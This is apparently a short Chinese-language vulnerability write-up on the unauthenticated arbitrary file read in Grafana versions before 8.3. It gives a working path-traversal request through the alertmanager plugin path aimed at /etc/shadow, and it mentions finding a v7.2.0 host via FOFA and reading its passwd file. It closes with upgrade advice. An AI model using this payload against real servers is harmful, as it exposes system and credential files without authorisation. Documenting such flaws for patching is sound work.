Grafana版本＜8.3任意文件读取

简介

Grafana是一个跨平台、开源的数据可视化网络应用程序平台，用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。目前测试Grafana 8.3之前版本存在未授权任意文件读取漏洞，可以在未经身份验证的情况下可通过默认存在的插件，构造特殊的请求包读取服务器任意文件。

漏洞利用

抓包获取get请求重放数据包

/public/plugins/alertmanager/../../../../../../../../../../etc/shadow

测试

fofa搜索测试，这里版本为V7.2.0

成功读取到passwd文件.

修复建议

更新到V8.3.1以上版本，对漏洞进行了修复。

---

结语

向上看的同时也要往回看看，所有的路都不容易，我们只能竭尽全力做好当下的努力。